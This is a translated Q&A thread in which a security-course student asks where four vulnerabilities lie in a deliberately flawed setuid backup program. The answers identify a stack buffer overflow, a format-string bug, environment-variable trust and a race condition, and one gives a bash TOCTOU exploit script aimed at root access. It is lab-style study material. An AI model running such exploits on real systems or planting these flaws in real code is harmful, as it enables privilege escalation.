我正在做一个安全课程的任务,要求我找到备份程序(setuid)的4个漏洞并使用它们中的每一个来获得root访问权限(在具有旧版gcc等的虚拟linux机器上) 。 应该有一个缓冲区溢出和一个格式字符串。
有谁可以帮我指出4个漏洞在哪里?
我认为缓冲区溢出可能发生在copyFile()
。
以下是backup.c的代码:(可以在“backup backup foo”或“backup restore foo”中调用)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#define CMD_BACKUP 0
#define CMD_RESTORE 1
#define BACKUP_DIRECTORY "/usr/share/backup"
#define FORBIDDEN_DIRECTORY "/etc"
static
int copyFile(char* src, char* dst)
{
char buffer[3072]; /* 3K ought to be enough for anyone*/
unsigned int i, len;
FILE *source, *dest;
int c;
source = fopen(src, "r");
if (source == NULL) {
fprintf(stderr, "Failed to open source file\n");
return -1;
}
i = 0;
c = fgetc(source);
while (c != EOF) {
buffer[i] = (unsigned char) c;
c = fgetc(source);
i++;
}
len = i;
fclose(source);
dest = fopen(dst, "w");
if (dest == NULL) {
fprintf(stderr, "Failed to open destination file\n");
return -1;
}
for(i = 0; i < len; i++)
fputc(buffer[i], dest);
fclose(dest);
return 0;
}
static
int restorePermissions(char* target)
{
pid_t pid;
int status;
char *user, *userid, *ptr;
FILE *file;
char buffer[64];
mode_t mode;
// execute "chown" to assign file ownership to user
pid = fork();
// error
if (pid < 0) {
fprintf(stderr, "Fork failed\n");
return -1;
}
// parent
if (pid > 0) {
waitpid(pid, &status, 0);
if (WIFEXITED(status) == 0 || WEXITSTATUS(status) < 0)
return -1;
}
else {
// child
// retrieve username
user = getenv("USER");
// retrieve corresponding userid
file = fopen("/etc/passwd", "r");
if (file == NULL) {
fprintf(stderr, "Failed to open password file\n");
return -1;
}
userid = NULL;
while (!feof(file)) {
if (fgets(buffer, sizeof(buffer), file) != NULL) {
ptr = strtok(buffer, ":");
if (strcmp(ptr, user) == 0) {
strtok(NULL, ":"); // password
userid = strtok(NULL, ":"); // userid
ptr = strtok(NULL, ":"); // group
*ptr = '\0';
break;
}
}
}
if (userid != NULL)
execlp("/bin/chown", "/bin/chown", userid, target, NULL);
// reached only in case of error
return -1;
}
mode = S_IRUSR | S_IWUSR | S_IEXEC;
chmod(target, mode);
return 0;
}
static
void usage(char* parameter)
{
char newline = '\n';
char output[96];
char buffer[96];
snprintf(buffer, sizeof(buffer),
"Usage: %.60s backup|restore pathname%c", parameter, newline);
sprintf(output, buffer);
printf(output);
}
int main(int argc, char* argv[])
{
int cmd;
char *path, *ptr;
char *forbidden = FORBIDDEN_DIRECTORY;
char *src, *dst, *buffer;
struct stat buf;
if (argc != 3) {
usage(argv[0]);
return 1;
}
if (strcmp("backup", argv[1]) == 0) {
cmd = CMD_BACKUP;
}
else if (strcmp("restore", argv[1]) == 0) {
cmd = CMD_RESTORE;
} else {
usage(argv[0]);
return 1;
}
path = argv[2];
// prevent access to forbidden directory
ptr = realpath(path, NULL);
if (ptr != NULL && strstr(ptr, forbidden) == ptr) {
fprintf(stderr, "Not allowed to access target/source %s\n", path);
return 1;
}
// set up paths for copy operation
buffer = malloc(strlen(BACKUP_DIRECTORY) + 1 + strlen(path) + 1);
if (buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return 1;
}
if (cmd == CMD_BACKUP) {
src = path;
dst = buffer;
strcpy(dst, BACKUP_DIRECTORY);
strcat(dst, "/");
strcat(dst, path);
}
else {
src = buffer;
strcpy(src, BACKUP_DIRECTORY);
strcat(src, "/");
strcat(src, path);
dst = path;
// don't overwrite existing file if we don't own it
if (stat(dst, &buf) == 0 && buf.st_uid != getuid()) {
fprintf(stderr, "Not your file: %s\n", dst);
return 1;
}
}
// perform actual backup/restore operation
if (copyFile(src, dst) < 0)
return 1;
// grant user access to restored file
if (cmd == CMD_RESTORE) {
if (restorePermissions(path) < 0)
return 1;
}
return 0;
}
有用的东西:
// one way to invoke backup
//system("/usr/local/bin/backup backup foo");
// another way
args[0] = TARGET; args[1] = "backup";
args[2] = "foo"; args[3] = NULL;
env[0] = NULL;
if (execve(TARGET, args, env) < 0)
fprintf(stderr, "execve failed.\n");
exit(0);
答案 0 :(得分:5)
我不是安全专家,但这里的评论
char buffer[3072]; /* 3K ought to be enough for anyone*/
告诉:-)所以你猜对了,这里有缓冲区溢出的可能性。事实上,缓冲区用于读取输入文件的内容。因此,请使用长度超过3K的文件进行尝试。
现在,由于buffer
是本地的,因此它在堆栈上分配。因此,通过溢出,您可以覆盖堆栈的内容,包括调用程序堆栈帧中的返回地址和局部变量。据我所知,这是理论,但我不能给你任何更实际的细节。
答案 1 :(得分:3)
格式漏洞位于usage()
中,sprintf()
和printf()
采用从argv[0]
生成的格式字符串,攻击者可以操纵这些字符串包含无论他们想要什么。
主缓冲区溢出是Péter Török突出显示的溢出;在扫描代码中的安全漏洞时,任何未经检查的缓冲区都会填充明显的评论,这是一个问题的路标。
环境变量USER被使用 - 它可以被不道德的人操纵,但它是否会真的为你买任何东西都值得商榷。您可以将其设置为“root”,并且尝试“chown”命令将使用它被告知使用的名称。
chown
命令和chmod()
系统调用之间存在种类问题。目前还不清楚你如何将其与其他问题分开利用 - 但它可能会给你一些利用的东西。
包括<sys/types.h>
两次是多余的,但无害。使用POSIX 2008,在大多数地方甚至都不需要它。
答案 2 :(得分:0)
您不能再利用Linux上的缓冲区溢出,因为SE-Linux通过中止有问题的程序以及Wand-addresss随机化来防止恶意或意外的意外代码执行。
您需要先关闭这些程序,但首先需要root访问权限。
答案 3 :(得分:0)
受Jonathan Leffler的答案漏洞4的启发,这是realpath()
支票与{{1}之间的TOCTOU(从检查时间到文件更新时间间隔的竞争条件)的漏洞利用}
fopen()
无论如何,将trap 'rm -f my_passwd; kill -TERM 0' INT
function p1()
{
while [[ 1 ]]
do
nice -20 ./backup restore my_passwd
ls -l /etc/passwd /etc/my_passwd my_passwd
done
}
function p2()
{
while [[ 1 ]]
do
rm -f my_passwd; ln /etc/my_passwd my_passwd; sleep .1; rm -f my_passwd
done
}
export USER=root
p1 & p2
设置为UMASK
应允许对000
问题进行类似的利用。
答案 4 :(得分:-1)
还要考虑字符串比较是否足以锁定禁用目录。答:不,至少我能想到两种方式。